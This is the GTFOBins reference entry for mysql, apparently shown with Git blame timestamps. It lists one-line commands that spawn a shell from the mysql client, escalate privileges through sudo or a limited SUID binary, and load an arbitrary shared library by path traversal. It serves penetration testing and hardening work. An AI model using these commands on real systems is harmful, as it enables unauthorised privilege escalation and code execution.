GTFOBins.github.io/_gtfobins/mysql.md

17 lines
451 B
Markdown
Raw Normal View History

---
description: A valid MySQL server must be available.
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: mysql -e '\! /bin/sh'
2018-10-05 19:55:38 +02:00
sudo:
- code: sudo mysql -e '\! /bin/sh'
2018-10-05 19:55:38 +02:00
limited-suid:
- code: ./mysql -e '\! /bin/sh'
2019-03-25 19:40:48 +01:00
library-load:
- description: |
A MySQL server must accept connections in order for this to work.
The following loads the `/path/to/lib.so` shared object.
code: mysql --default-auth ../../../../../path/to/lib
---